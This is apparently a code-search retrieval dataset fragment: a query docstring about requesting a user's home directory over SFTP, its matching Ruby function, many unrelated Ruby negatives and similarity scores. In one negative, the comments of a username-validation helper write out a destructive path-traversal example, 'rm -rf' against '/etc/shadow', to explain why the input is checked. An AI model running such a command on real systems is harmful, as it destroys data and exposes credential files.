"def test_expandable\n name = \"yaytest\"\n dir = tempfile\n Dir.mkdir(dir)\n\n mount = mkmount\n assert_nothing_raised {\n mount.path = dir\n }\n\n assert(! mount.expandable?, \"Mount incorrectly called expandable\")\n\n assert_nothing_raised {\n mount.path = \"/dir/a%a\"\n }\n assert(mount.expandable?, \"Mount not called expandable\")\n\n # This isn't a valid replacement pattern, so it should throw an error\n # because the dir doesn't exist\n assert_raise(Puppet::Network::Handler::FileServerError) {\n mount.path = \"/dir/a%\"\n }\n\n # Now send it back to a normal path\n assert_nothing_raised {\n mount.path = dir\n }\n # Make sure it got reverted\n assert(! mount.expandable?, \"Mount incorrectly called expandable\")\n\n\n end",
"def attach_disk(disk)\n # Adding a new disk in newer vSphere versions\n # automatically cleans all system snapshots\n # https://github.com/OpenNebula/one/issues/5409\n if snapshots? || one_snapshots?\n error_msg = 'Existing sytem snapshots, cannot change disks. '\n error_msg << 'Please remove all snapshots and try again'\n raise error_msg\n end\n\n spec_hash = {}\n device_change = []\n\n # Extract unmanaged_keys\n unmanaged_keys = disk_keys\n vc_disks = vcenter_disks_get\n\n # Check if we're dealing with a StoragePod SYSTEM ds\n storpod = disk['VCENTER_DS_REF'].start_with?('group-')\n\n # Check if disk being attached is already connected to the VM\n raise 'DISK is already connected to VM' if disk_attached_to_vm(\n disk, unmanaged_keys, vc_disks\n )\n\n # Generate vCenter spec and reconfigure VM\n add_spec = calculate_add_disk_spec(disk)\n device_change << add_spec\n raise 'Could not generate DISK spec' if device_change.empty?\n\n extra_key = \"opennebula.mdisk.#{disk['DISK_ID']}\"\n extra_value = add_spec[:device].key.to_s\n\n spec_hash[:deviceChange] = device_change\n spec_hash[:extraConfig] =\n [{ :key => extra_key, :value => extra_value }]\n spec = RbVmomi::VIM.VirtualMachineConfigSpec(spec_hash)\n\n begin\n if storpod\n # Ask for StorageDRS recommendation\n # to reconfigure VM (AddDisk)\n sm = storagemanager\n\n # Disk id is -1 as I don't know\n # what disk id is going to be set\n disk_locator = [RbVmomi::VIM.PodDiskLocator(:diskId => -1)]\n\n # Disk locator is required for AddDisk\n vmpod_hash = {}\n vmpod_hash[:storagePod] = get_ds\n vmpod_hash[:disk] = disk_locator\n vmpod_config =\n RbVmomi::VIM::VmPodConfigForPlacement(\n vmpod_hash\n )\n\n # The storage pod selection requires initialize\n spod_hash = {}\n spod_hash[:initialVmConfig] = [vmpod_config]\n spod_select =\n RbVmomi::VIM::StorageDrsPodSelectionSpec(\n spod_hash\n )\n storage_spec = RbVmomi::VIM.StoragePlacementSpec(\n :type => :reconfigure,\n :podSelectionSpec => spod_select,\n :vm => self['_ref'],\n :configSpec => spec\n )\n\n # Query a storage placement recommendation\n result = sm\n .RecommendDatastores(\n :storageSpec => storage_spec\n ) rescue nil\n\n if result.nil?\n raise 'Could not get placement '\\\n 'specification for StoragePod'\n end\n\n if !result.respond_to?(:recommendations) ||\n result.recommendations.empty?\n raise 'Could not get placement '\\\n 'specification for StoragePod'\n end\n\n # Get recommendation key to be applied\n key = result.recommendations.first.key ||= ''\n\n if key.empty?\n raise 'Missing Datastore recommendation for StoragePod'\n end\n\n # Apply recommendation\n sm.ApplyStorageDrsRecommendation_Task(\n :key => [key]\n ).wait_for_completion\n\n # Add the key for the volatile disk to the\n # unmanaged opennebula.disk.id variables\n unit_number =\n spec_hash[:deviceChange][0][:device]\n .unitNumber\n controller_key =\n spec_hash[:deviceChange][0][:device]\n .controllerKey\n key =\n get_vcenter_disk_key(\n unit_number,\n controller_key\n )\n spec_hash = {}\n reference = {}\n reference[:key] =\n \"opennebula.disk.#{disk['DISK_ID']}\"\n reference[:value] = key.to_s\n spec_hash[:extraConfig] = [reference]\n @item\n .ReconfigVM_Task(\n :spec => spec_hash\n ).wait_for_completion\n else\n @item\n .ReconfigVM_Task(\n :spec => spec\n ).wait_for_completion\n end\n # Modify extraConfig if disks has a bad key\n sync_extraconfig_disk(spec_hash)\n rescue StandardError => e\n error = \"Cannot attach DISK to VM: #{e.message}.\"\n\n if VCenterDriver::CONFIG[:debug_information]\n error += \"\\n\\n#{e.backtrace.join(\"\\n\")}\"\n end\n\n raise error\n end\n end",
"def attach_volumes!(server, volumes_count, size)\n #create a new block storage connection obj\n volume_service = Fog::Volume::OpenStack.new(\n :openstack_api_key => @os_password,\n :openstack_username => @os_username,\n :openstack_auth_url => @os_auth_url,\n :openstack_tenant => @os_tenant,\n )\n base = 'sdd'\n volumes_count.times do |i|\n base = base.next!\n #create a new volume\n vol = volume_service.volumes.create(\n :size => size,\n :display_name => \"#{server.name}-#{i}\",\n :description => \"Volume attached to #{server.name} - managed by ankus\"\n )\n vol.reload\n vol.wait_for { status == 'available' }\n server.attach_volume(vol.id, \"/dev/#{base}\")\n vol.wait_for { status == 'in-use' }\n end\n end",
"def available_space\n quota - size\n end",
"def do_path_serve(path, env = rack_env)\n env['REQ_PATH'] = normalize_req_path(path)\n waw_access = (find_wawaccess_for(env['REQ_PATH']) || self)\n waw_access.apply_rules(env)\n end",
"def deallocate_disk\n return false\n end",
"def request_shipping(ship_timestamp, dropoff_type, service_type, packaging_type, shipper_contact, shipper_address, \n recipient_contact, recipient_address, payor_country_code, package_line_items, options={})\n options = @options.update(options)\n shipping_request = build_shipping_request(ship_timestamp, dropoff_type, service_type, packaging_type, shipper_contact, shipper_address, \n recipient_contact, recipient_address, payor_country_code, package_line_items, options)\n log(:request_shipping, shipping_request)\n response = commit(save_request(shipping_request), (options[:test] || false))\n log(:request_shipping, response)\n response = response.gsub(/\\sxmlns(:|=)[^>]*/, '').gsub(/<(\\/)?[^<]*?\\:(.*?)>/, '<\\1\\2>')\n parse_shipping_response(response, options)\n end",
"def send_file_xsendfile(request, response,path, mime_type)\n\t\n\t#Calculate etag, not sure if needed, perhaps apache does this already\n\tstat = File.stat(path)\n # Set the last modified times as well and etag for all files\n\tmtime = stat.mtime\n # Calculated the same as apache, not sure how well the works on win32\n\tetag = ETAG_FORMAT % [mtime.to_i, stat.size, stat.ino]\n\n modified_since = request.env[HTTP_IF_MODIFIED_SINCE]\n\tnone_match = request.env[HTTP_IF_NONE_MATCH]\n\n # test to see if this is a conditional request, and test if\n\t # the response would be identical to the last response\n\t # Not sure whats going on here - stole from mongrels dir handler, which probibly does everything correctly..\n same_response = case\n when modified_since && !last_response_time = Time.httpdate(modified_since) rescue nil then false\n when modified_since && last_response_time > Time.now then false\n when modified_since && mtime > last_response_time then false\n when none_match && none_match == '*' then false\n when none_match && !none_match.strip.split(/\\s*,\\s*/).include?(etag) then false\n else modified_since || none_match # validation successful if we get this far and at least one of the header exists\n end\n\n\tif same_response\n\t response.status = 304\n\telse\n\t #Status?\n\t response.header[ETAG] = etag\n\t response.header[\"X-Sendfile\"] = path\n\t response.headers[CONTENT_TYPE] = mime_type\n\t response.headers[CONTENT_LENGTH] = \"0\"\n\tend\n\t \n\tresponse.body = []\n\t\n\treturn stat.size\n end",
"def enable!\n `tc qdisc add dev lo root netem delay #{delay}ms`\n end",
"def fetch_disk(directory, win_format = false)\n @handler = FetchDisk.new(directory, win_format)\n _fetch\n end",
"def availability_params\n params.require(:availability).permit(:space_id, :start, :end, :seat, :seat_price, :active)\n end",
"def partition_check_device(devicename)\n if External.cmd(@server, \"/usr/bin/sudo /sbin/fdisk -l #{devicename}\").include? \"Disk #{devicename} doesn't contain a valid partition table\"\n false\n else\n true\n end\n end",
"def path=(new_path)\n begin\n self.dev_path = Sys::Filesystem.mount_point new_path\n @dev_stat = nil\n rescue SystemCallError\n self.dev_path = nil\n end\n super\n end",
"def attach_disk(disk, async = true, attached_disk_options = {})\n requires :identity, :zone\n\n if disk.is_a? Disk\n disk_obj = disk.get_attached_disk\n elsif disk.is_a? String\n disk_obj = service.disks.attached_disk_obj(disk, attached_disk_options)\n end\n\n data = service.attach_disk(identity, zone_name, disk_obj)\n operation = Fog::Compute::Google::Operations\n .new(:service => service)\n .get(data.name, data.zone)\n operation.wait_for { ready? } unless async\n reload\n end",
"def db_request?( path )\n path.size == 2\n end",
"def validate_disk_size\n return unless @dev\n\n # we can't use execute!() since we want to capture the output of the cmd\n output, _, stat = Open3.capture3(\"sudo blockdev --getsize64 #{@dev}\")\n raise RuntimeError, 'Unable determine dev size' unless stat.success?\n\n dev_mib = output.strip.to_i / (1024 * 1024) # space on device (MiB)\n begin\n tot_mib = total_disk_size()\n rescue RuntimeError => e\n warn(\"Performing lax disk size check (#{e})\")\n tot_mib = minimum_disk_size()\n end\n\n if tot_mib >= dev_mib\n warn(\"Insufficient space! need MiB: #{tot_mib}, device MiB: #{dev_mib}\")\n raise RuntimeError, \"Total size #{tot_mib} > block device size #{dev_mib}\"\n end\n\n nil\n end",
"def df( opts = {} )\r\n \r\n outf = {:format => 'text' } if opts[:format] == :text\r\n args = { :detail => true } if opts[:size_div]\r\n \r\n got = @ndev.rpc.get_system_storage( args, outf )\r\n \r\n return got.text if opts[:format] == :text\r\n return got if opts[:format] == :xml\r\n \r\n df_h = {}\r\n ### need to turn this into a Hash\r\n got.xpath('filesystem').each do |fs|\r\n fs_name = fs.xpath('filesystem-name').text.strip\r\n fs_h = {}\r\n df_h[fs_name] = fs_h\r\n \r\n fs_h[:mounted_on] = fs.xpath('mounted-on').text.strip \r\n datum = fs.xpath('total-blocks')\r\n fs_h[:total_blocks] = datum.text.to_i\r\n fs_h[:total_size] = datum.attribute('format').value\r\n \r\n datum = fs.xpath('used-blocks')\r\n fs_h[:used_blocks] = datum.text.to_i\r\n fs_h[:used_size] = datum.attribute('format').value\r\n fs_h[:used_percent] = fs.xpath('used-percent').text.to_i\r\n \r\n datum = fs.xpath('available-blocks')\r\n fs_h[:avail_blocks] = datum.text.to_i\r\n fs_h[:avail_size] = datum.attribute('format').value\r\n if opts[:size_div]\r\n fs_h[:total_size] = fs_h[:total_size].to_i / opts[:size_div]\r\n fs_h[:used_size] = fs_h[:used_size].to_i / opts[:size_div]\r\n fs_h[:avail_size] = fs_h[:avail_size].to_i / opts[:size_div]\r\n end\r\n end\r\n df_h\r\n end",
"def insert request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/disks\"\n body = request_pb.disk_resource.to_json\n\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end",
"def smb_open(path, perm, read: true, write: false)\n self.simple.open(path, perm, datastore['SMB::ChunkSize'], read: read, write: write)\n end",
"def set_partition_usage(host, partition, usage)\n self.client.set(\"gh.storage.server.usage.percent.#{host}.#{partition}\", usage.to_s)\n end",
"def attach_disk(instance_id, disk_id)\n with_thread_name(\"attach_disk(#{instance_id}, #{disk_id})\") do\n instance = @ec2_resource.instance(instance_id)\n volume = @ec2_resource.volume(disk_id)\n\n device_name = attach_ebs_volume(instance, volume)\n\n update_agent_settings(instance) do |settings|\n settings[\"disks\"] ||= {}\n settings[\"disks\"][\"persistent\"] ||= {}\n settings[\"disks\"][\"persistent\"][disk_id] = device_name\n end\n logger.info(\"Attached `#{disk_id}' to `#{instance_id}'\")\n end\n\n # log registry settings for debugging\n logger.debug(\"updated registry settings: #{registry.read_settings(instance_id)}\")\n end",
"def has_disk?(disk_id)\n @cloud_core.has_disk?(disk_id)\n end",
"def process_path_for_provides(path)\n path << \"(.:format)?\" unless path[-11, 11] == '(.:format)?'\n end",
"def present?(key)\n @disk.present?(key)\n end",
"def check_for_eligible_of_free_shipping(order)\n if order > 100\n return true\n else\n return false\n end\nend",
"def statfs(ctx,path)\n return wrap_context(ctx,__method__,path) if ctx\n block_size = 1024\n\n stats = @root.statistics(path)\n case stats\n when Array\n used_space, used_files, total_space, total_files = stats\n used_files ||= 0\n used_space ||= 0\n total_files ||= used_files\n total_space ||= used_space\n result = RFuse::StatVfs.new(\n \"bsize\" => block_size,\n \"frsize\" => block_size,\n \"blocks\" => total_space / block_size,\n \"bfree\" => (total_space - used_space)/block_size,\n \"bavail\" => (total_space - used_space)/block_size,\n \"files\" => total_files,\n \"ffree\" => (total_files - used_files)\n )\n return result\n else\n #expected to quack like rfuse:statvfs\n return stats\n end\n end",
"def ensure_in_store(path)\n if path.match(%r{^/nix/store}) then\n return path\n end\n cmd = [*env, \"nix-store\", \"--add\", path, *nix_store_args()]\n show_command(cmd)\n res = `#{cmd.shelljoin}`.strip\n check_failure()\n return res\n end",
"def attach_disk(opts, disk_name, instance_id)\n Djinn.log_debug('Calling attach_disk with parameters ' \\\n \"#{opts.inspect}, with disk name #{disk_name} and instance id \" +\n instance_id.to_s)\n\n # Make a copy (the options are a simple hash so shallow copy does the\n # trick) to not modify the original.\n options = opts.clone\n options['instance_id'] = instance_id\n options['disk_name'] = disk_name\n\n uri = URI(\"http://#{@ip}:#{SERVER_PORT}/instance\")\n headers = {'Content-Type' => 'application/json',\n 'AppScale-Secret' => @secret}\n request = Net::HTTP::Post.new(uri.path, headers)\n\n request.body = JSON.dump(options)\n\n return JSON.parse(make_call(request, uri))['location']\n end",
"def free_extension\n ran_min = Confline.get_value(\"Device_Range_MIN\").to_i\n ran_max = Confline.get_value(\"Device_Range_MAX\").to_i\n\n sql = \"SELECT c AS free, COUNT(v.c) AS x FROM (\n (SELECT #{ran_min} AS c)\n UNION ALL\n (SELECT data2 c FROM dialplans WHERE (dptype = 'pbxfunction' AND data2 REGEXP '^[0-9]+$' = 1 AND data2 BETWEEN #{ran_min} AND #{ran_max}) GROUP BY c)\n UNION ALL\n (SELECT extension c FROM devices WHERE (extension REGEXP '^[0-9]+$' = 1 AND extension BETWEEN #{ran_min} AND #{ran_max}) GROUP BY c)\n UNION ALL\n (SELECT username AS c FROM devices WHERE (username REGEXP '^[0-9]+$' = 1 AND username BETWEEN #{ran_min} AND #{ran_max}) GROUP BY c)\n ) AS v GROUP BY free HAVING free BETWEEN #{ran_min} AND #{ran_max} ORDER BY CONVERT(free, UNSIGNED);\"\n devices = ActiveRecord::Base.connection.select_all(sql)\n\n used_extensions = []\n all_extensions = (ran_min..ran_max).to_a\n devices.each{|d| used_extensions << d[\"free\"].to_i}\n\n i = 0\n fe = \"\"\n until !fe.blank?\n fe = all_extensions[i].to_s if !used_extensions.include?(all_extensions[i].to_i)\n i += 1\n end\n fe\n end",
"def attach_disk(vm_id, disk_id)\n with_thread_name(\"attach_disk(#{vm_id}, #{disk_id})\") do\n begin\n # Don't go further if the volume group is already attached\n return if volume_group_attached?(vm_id, disk_id)\n @logger.debug(\"Attaching volume group #{disk_id} to VM #{vm_id}\")\n @vol_group_manager.attach_to_vm(disk_id, vm_id)\n update_agent_settings(vm_id) do |settings|\n settings['disks']['persistent'] ||= {}\n disks = settings['disks']\n drive = \"/dev/sd#{get_drive_letter(disks)}\"\n settings['disks']['persistent'][disk_id] = drive\n end\n rescue => e\n @logger.error(e)\n cloud_error(e.message)\n end\n end\n end",
"def create_part_of_path(path)\n begin\n @zk.create(path, \"\".to_java_bytes, default_acl, default_mode)\n rescue\n puts \"#{$!}\"\n end\n end"
] | [
"0.5065478",
"0.49581683",
"0.49524722",
"0.4861327",
"0.47875276",
"0.47705582",
"0.4701093",
"0.4675417",
"0.46037772",
"0.4576026",
"0.45405048",
"0.44893184",
"0.44795984",
"0.44683304",
"0.4446984",
"0.44459066",
"0.44241863",
"0.4415651",
"0.43945622",
"0.43801287",
"0.43801287",
"0.43367684",
"0.43138227",
"0.4312106",
"0.43098086",
"0.42789263",
"0.42615172",
"0.4257329",
"0.42504224",
"0.42371014",
"0.42264476",
"0.4221386",
"0.42112434",
"0.4205691",
"0.420549",
"0.42033318",
"0.42028713",
"0.419767",
"0.41866556",
"0.41861224",
"0.41831797",
"0.41744027",
"0.41728383",
"0.41561502",
"0.41535655",
"0.41450688",
"0.41331524",
"0.41331404",
"0.41301328",
"0.41157082",
"0.41084126",
"0.4079988",
"0.40778792",
"0.40769386",
"0.40640348",
"0.40602946",
"0.40588623",
"0.40545708",
"0.40363374",
"0.4034587",
"0.40286413",
"0.40266895",
"0.40242425",
"0.40230802",
"0.40199333",
"0.40020818",
"0.40017542",
"0.4001263",
"0.3989495",
"0.3980437",
"0.39798677",
"0.3978051",
"0.3975703",
"0.39612976",
"0.39500308",
"0.39493114",
"0.3937507",
"0.39368978",
"0.3926956",
"0.3925054",
"0.39246815",
"0.39221647",
"0.3917057",
"0.39091897",
"0.39029056",
"0.38985592",
"0.38931915",
"0.38808346",
"0.3878286",
"0.38770586",
"0.387433",
"0.3873583",
"0.38713592",
"0.38658825",
"0.38461176",
"0.3845148",
"0.3843268",
"0.38425714",
"0.3841715",
"0.38386852"
] | 0.7694341 | 0 |
Sends a FXP_EXTENDED packet to the server to request home directory for the given +username+. | def home(username)
send_request(FXP_EXTENDED, :string, "home-directory", :string, username)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def user(username, mode, realname)\n send_data(\"USER #{username} #{mode} * :#{realname}\")\n end",
"def user(username, realname, mode = 0)\n host = TCPSocket.gethostbyname(Socket.gethostname)[0]\n send_msg(\"USER #{username} #{mode} * :#{realname}\")\n end",
"def infer_homedir(username)\n\t# mitigate blank username rm -rf /network/home/\n\tif username.blank?\n\t\traise(\"Username cannot be empty!\")\n\t# mitigate path traversal rm -rf /network/home/../../etc/shadow\n\telsif username !~ /\\A[\\w\\.-]+\\z/\n\t\traise(\"Invalid format of username\")\n\tend\n\n\tFile.join($home_base, username)\nend",
"def user(username, realname, invisible = true)\n raw \"USER #{username} #{invisible ? 8 : 0} * :#{realname}\\r\\n\"\n end",
"def with_home_for_user(username, &block)\n time = Time.now.to_i\n\n ruby_block \"set HOME for #{username} at #{time}\" do\n block do\n ENV['OLD_HOME'] = ENV['HOME']\n ENV['HOME'] = begin\n require 'etc'\n Etc.getpwnam(username).dir\n rescue ArgumentError # user not found\n \"/home/#{username}\"\n end\n end\n end\n\n yield\n\n ruby_block \"unset HOME for #{username} #{time}\" do\n block do\n ENV['HOME'] = ENV['OLD_HOME']\n end\n end\n end",
"def add_user_to_group(username, groupname)\n\t\t\t\t# Check for validity first\n\t\t\t\tsuper(username, groupname)\n\n\n\t\t\t\t`/usr/sbin/pw groupmod #{shellescape(groupname)} -m #{shellescape(username)}`\n\t\t\tend",
"def user_present(host, username)\n case host['platform']\n when /eos/\n on(host, \"useradd #{username}\")\n else\n host.user_present(username)\n end\n end",
"def make_home_directory( username, skeldir=SKELDIR )\n\t\tself.log.info \"Making home directory for %p, cloned from %s\" % [ username, skeldir ]\n\t\thomedir = HOMEDIR_BASE + username\n\t\traise \"%s: already exists\" % [ homedir ] if homedir.exist?\n\t\traise \"%s: already has an archived homedir\" % [ username ] if\n\t\t\t( ARCHIVE_BASE + username ).exist?\n\n\t\tFileUtils.cp_r( skeldir.to_s, homedir )\n\t\tFileUtils.chown_R( username, nil, homedir )\n\n\t\treturn homedir.to_s\n\tend",
"def username\n Shellwords.shellescape(SabreDAVExport.username)\n end",
"def bind_by_username_with_preauthentication\n raise CASServer::AuthenticatorError, \"A password must be specified in the configuration for the authenticator user!\" unless\n @options[:ldap][:auth_password]\n\n @ldap.authenticate(@options[:ldap][:auth_user], @options[:ldap][:auth_password])\n\n @ldap.bind_as(:base => @options[:ldap][:base], :password => @password, :filter => user_filter)\n end",
"def append_user_info(username, xml)\n end",
"def add_user(user)\n # NB: system users aren't supported on solaris 10\n # Solaris 10 also doesn't support long flags\n cmd_args = [\"'#{user.name}'\"]\n cmd_args.unshift \"-g '#{user.group}'\" if user.group\n cmd_args.unshift \"-d '#{user.homedir}'\" if user.homedir\n if user.shell\n cmd_args.unshift \"-s '#{user.shell}'\"\n elsif user.is_system\n # Even though system users aren't a thing, we can still disable the shell\n cmd_args.unshift \"-s '/usr/bin/false'\"\n end\n\n user_args = cmd_args.join(\"\\s\")\n\n return <<-HERE.undent\n if getent passwd '#{user.name}' > /dev/null 2>&1; then\n /usr/sbin/usermod #{user_args}\n else\n /usr/sbin/useradd #{user_args}\n fi\n HERE\n end",
"def append_user_info(username, xml); end",
"def initialize username, client\n @clients = [client]\n @cmdHistory = []\n @killRing = []\n @killRingPosition = 0\n @frames = {}\n @userInfo = client.userdb\n @lastClient = client\n @dir = \"#{client.userdir}/#{@userInfo.name}\"\n unless Dir.exist? @dir\n Dir.mkdir @dir, 0700\n end\n end",
"def get_homedir(user)\n begin\n Etc.getpwnam(\"#{user}\")[\"dir\"].chomp\n # or with dscl\n #homedir = %x(dscl . -read /users/#{user} NFSHomeDirectory).gsub(/NFSHomeDirectory: /,\"\")\n rescue Exception => e\n end \n end",
"def archive_home_directory( username )\n\t\tself.log.info \"Archiving home directory for %p\" % [ username ]\n\t\thomedir = HOMEDIR_BASE + username\n\t\tarchivedir = ARCHIVE_BASE + username\n\t\traise \"#{username}: no current home directory\" unless homedir.exist?\n\t\traise \"#{username}: already has an archived home\" if archivedir.exist?\n\n\t\tFileUtils.mv( homedir, archivedir )\n\tend",
"def update_user(username, password)\n file_buffer = ''\n File.open(FTPUSERS_PATH, 'r') do |password_file|\n file_buffer = password_file.read\n end\n\n new_entry = password_file_entr(username, password)\n\n file_buffer.gsub!(/^#{username}.*$\\n/, new_entry)\n\n File.open(FTPUSERS_PATH, 'w') do |password_file|\n password_file.write(file_buffer)\n end\n end",
"def add_user(username, uid)\n uid = Integer(uid)\n\n %x(sudo useradd -s /bin/bash -u #{uid} -m #{Shellwords.escape(username)})\n\n case $?.exitstatus\n when 0\n home_dir = Shellwords.escape(Etc.getpwnam(username).dir)\n \n #FileUtils.chmod(0771, home_dir)\n %x(sudo chmod 0771 #{home_dir})\n\n RightScale::Log.info \"User #{username} created successfully\"\n else\n raise SystemConflict, \"Failed to create user #{username}\"\n end\n end",
"def _io_user_data(username)\n (node['etc'] && node['etc']['passwd'] && node['etc']['passwd'][username]) || {\n 'uid' => username,\n 'gid' => username,\n 'dir' => \"/home/#{username}\"\n }\nend",
"def active_homedir_exists?( username )\n\t\t\thomedir = HOMEDIR_BASE + username\n\t\t\treturn homedir.directory?\n\t\tend",
"def bind_by_username\n username_attribute = options[:ldap][:username_attribute] || default_username_attribute\n\n @ldap.bind_as(:base => @options[:ldap][:base], :password => @password, :filter => user_filter)\n end",
"def send_ghost(nickname, password)\n send_raw(NS, \"GHOST #{nickname} #{password}\")\n end",
"def call(username)\n res = client.get(\"/api/rest/v1/users.json?q[username]=#{ERB::Util.url_encode(username)}\")\n return nil if !res || res.empty?\n\n BrickFTP::Types::User.new(**res.first.symbolize_keys)\n end",
"def user(u, m, r)\n @socket << \"USER #{u} #{m} * :#{r}\"\n end",
"def enable\n user = User.find_by_username params[:username]\n raise ActiveRecord::RecordNotFound unless user\n\n command = EnableUserCommand.new(user, current_user, request.remote_ip)\n begin\n command.execute\n rescue => e\n flash['error'] = \"#{e}\"\n else\n flash['success'] = \"User #{user.username} enabled.\"\n ensure\n redirect_back fallback_location: user_url(user)\n end\n end",
"def homedir(user = (@sudo||@user))\n exec! \"awk -F: -v v=#{escape(user)} '{if ($1==v) print $6}' /etc/passwd\"\n end",
"def preprocess_username\n @username = @options[:ldap][:username_prefix] + @username if @options[:ldap][:username_prefix]\n end",
"def registerUsername(username, regcode, domaincode, groupname = '', passcode = '')\r\n\r\n _dprint(\"registerUsername() called ...\")\r\n valid_tag = \"REGUSER:SUCESS\"\r\n\r\n if (!passcode.nil? && passcode.length > 0)\r\n _dprint(\"Adding new device ...\")\r\n command = \"ADDREGUSER\"\r\n type = 4;\r\n passcodeline = \"<passcode>#{passcode}</passcode>\";\r\n format = \"add\";\r\n else\r\n _dprint(\"Registering user ...\")\r\n command = \"REGUSER\"\r\n type = 4;\r\n passcodeline = \"<passcode>null</passcode>\";\r\n format = \"new\";\r\n end\r\n\r\n if (!groupname.nil? && groupname.length>0)\r\n groupnameline=\"<groupName>#{groupname}</groupName>\"\r\n else\r\n groupnameline=\"<groupName>null</groupName>\"\r\n end\r\n\r\n #mesg = \"#{command}:#{username}\\t#{regcode}\\t#{domaincode}\\t#{passcode}\"\r\n mesg = <<XML\r\n <transaction>\r\n <type format=\"#{format}\">#{type}</type>\r\n <data>\r\n <user-id>#{username}</user-id>\r\n <registration-code>#{regcode}</registration-code>\r\n <domaincode>#{domaincode}</domaincode>\r\n #{passcodeline}\r\n #{groupnameline}\r\n <error-code>null</error-code>\r\n <result>null</result>\r\n </data>\r\n </transaction>\r\nXML\r\n\r\n #puts mesg\r\n reconnect {\r\n\r\n _dprint(\"registerUsername() sending '#{mesg}' ...\")\r\n\r\n xml = _request(mesg)\r\n response = XPath.first(xml, '//data/result')\r\n _dprint(\"response: '#{response}'\")\r\n if response =~ /SUCC?ESS/\r\n _dprint(\"Registered!\")\r\n return 0\r\n else\r\n err = XPath.first(xml, '//data/error-code')\r\n _dprint(\"Failed to register! Error: #{err}\")\r\n return err\r\n end\r\n }\r\n\r\n end",
"def userhost(n)\n @socket << \"USERHOST #{n}\"\n end",
"def userauth_request(username, next_service, auth_method, *others)\n buffer = Net::SSH::Buffer.from(:byte, USERAUTH_REQUEST,\n :string, username, :string, next_service, :string, auth_method)\n\n others.each do |value|\n case value\n when true, false then buffer.write_bool(value)\n when String then buffer.write_string(value)\n else raise ArgumentError, \"don't know how to write #{value.inspect}\"\n end\n end\n\n buffer\n end",
"def home_dir(name=nil)\n username = (name || self.username)\n if (username == \"root\")\n \"/root\"\n else\n \"/home/#{username}\"\n end\n end",
"def delete_user(username)\n file_buffer = ''\n File.open(FTPUSERS_PATH, 'r') do |password_file|\n file_buffer = password_file.read\n end\n\n file_buffer.gsub!(/^#{username}.*$\\n/, '')\n\n File.open(FTPUSERS_PATH, 'w') do |password_file|\n password_file.write(file_buffer)\n end\n end",
"def enable(username,password,quick=true)\n\n if (!username.kind_of?(String))\n raise ArgumentError, \"Expected String for username, but #{username.class} provided.\"\n end\n\n if (!password.kind_of?(String))\n raise ArgumentError, \"Expected String for password, but #{password.class} provided.\"\n end\n\n # open a socket to the server\n socket = open_socket()\n\n # make start packet\n header = TacacsPlus::TacacsHeader.new\n if (@session_id)\n header.session_id = @session_id\n else\n header.randomize_session_id!\n end\n body = TacacsPlus::AuthenticationStart.new\n body.action_login!\n body.priv_lvl = 15\n body.service_enable!\n body.user = username if (quick)\n\n session = ClientSession.new()\n session.request = PacketStruct.new(header,body)\n session.type = :authentication\n session.getuser = username\n session.getpass = password\n\n # process server dialog\n enable_attempt = process_response(session, socket)\n\n return(enable_attempt)\n end",
"def args_for(username, password)\n user_filter = \"#{ LDAP[:username_attribute] }=#{ username }\"\n args = { :base => LDAP[:base],\n :filter => \"(#{ user_filter })\",\n :password => password }\n\n unless LDAP[:can_search_anonymously]\n # If you can't search your LDAP directory anonymously we'll try and\n # authenticate you with your user dn before we try and search for your\n # account (dn example. `uid=clowder,ou=People,dc=mycompany,dc=com`).\n user_dn = [user_filter, LDAP[:base]].join(',')\n args.merge({ :auth => { :username => user_dn, :password => password, :method => :simple } })\n end\n\n args\n end",
"def rl_username_completion_function(text, state)\r\n return nil if RUBY_PLATFORM =~ /mswin|mingw/\r\n\r\n if (state == 0)\r\n first_char = text[0,1]\r\n first_char_loc = (first_char == '~' ? 1 : 0)\r\n\r\n username = text[first_char_loc..-1]\r\n namelen = username.length\r\n Etc.setpwent()\r\n end\r\n\r\n while (entry = Etc.getpwent())\r\n # Null usernames should result in all users as possible completions.\r\n break if (namelen == 0 || entry.name =~ /^#{username}/ )\r\n end\r\n\r\n if entry.nil?\r\n Etc.endpwent()\r\n return nil\r\n else\r\n value = text.dup\r\n value[first_char_loc..-1] = entry.name\r\n\r\n if (first_char == '~')\r\n @rl_filename_completion_desired = true\r\n end\r\n\r\n return (value)\r\n end\r\n end",
"def from_directory_for_user(directory, username)\n from_file(File.join(directory, BitlbeeConfig::User.username_to_filename(username)))\n end",
"def uri_for_user(username)\n fail ArgumentError, 'Please provide a username' if username.empty?\n\n URI.parse(api_url % username)\n end",
"def enable_user(username)\n begin\n p = get_permissions(username)\n if !p\n raise \"Username not found\"\n end\n p[:enabled] = true\n p.save!\n if !p.persisted?\n raise \"Failed to save user data for #{username}\"\n end\n return true\n rescue\n return false\n end\n end",
"def archived_homedir_exists?( username )\n\t\t\tarchived_homedir = ARCHIVE_BASE + username\n\t\t\treturn archived_homedir.directory?\n\t\tend",
"def build_request(identity, next_service, username, hostname, client_username)\n userauth_request(username, next_service, \"hostbased\", identity.ssh_type,\n Buffer.from(:key, identity).to_s, hostname, client_username).to_s\n end",
"def send_file_info(last, path)\n if not last == nil\n user = current_user\n path = path.force_encoding(\"UTF-8\")\n @file_names = \"#{path.split('/').last}\" + \"\\n\"\n @access_url = \"#{HOSTING_URL}\" + \"/user_files/\"+ \"#{user.userid}\" + path.force_encoding(\"UTF-8\") \n \n else\n @file_names = \"error\"\n @access_url = \"\"\n end\n puts_message \"send_file_info end\" \n end",
"def unarchive_home_directory( username )\n\t\tself.log.info \"Unarchiving home directory for %p\" % [ username ]\n\t\thomedir = HOMEDIR_BASE + username\n\t\tarchivedir = ARCHIVE_BASE + username\n\t\traise \"#{username}: already has an unarchived home directory\" if homedir.exist?\n\t\traise \"#{username}: no archived home\" unless archivedir.exist?\n\n\t\tFileUtils.mv( archivedir, homedir )\n\tend",
"def get_username(prompt = 'Enter Nexpose username: ')\r\n ask(prompt) { |query| query.echo = true }\r\nend",
"def home_path_for(sling)\n if ( @path == nil )\n props = sling.get_node_props(user_url)\n @path = props[\"path\"]\n end\n return \"/_user\"+@path\n end",
"def update_username(username)\n @username = username\n end",
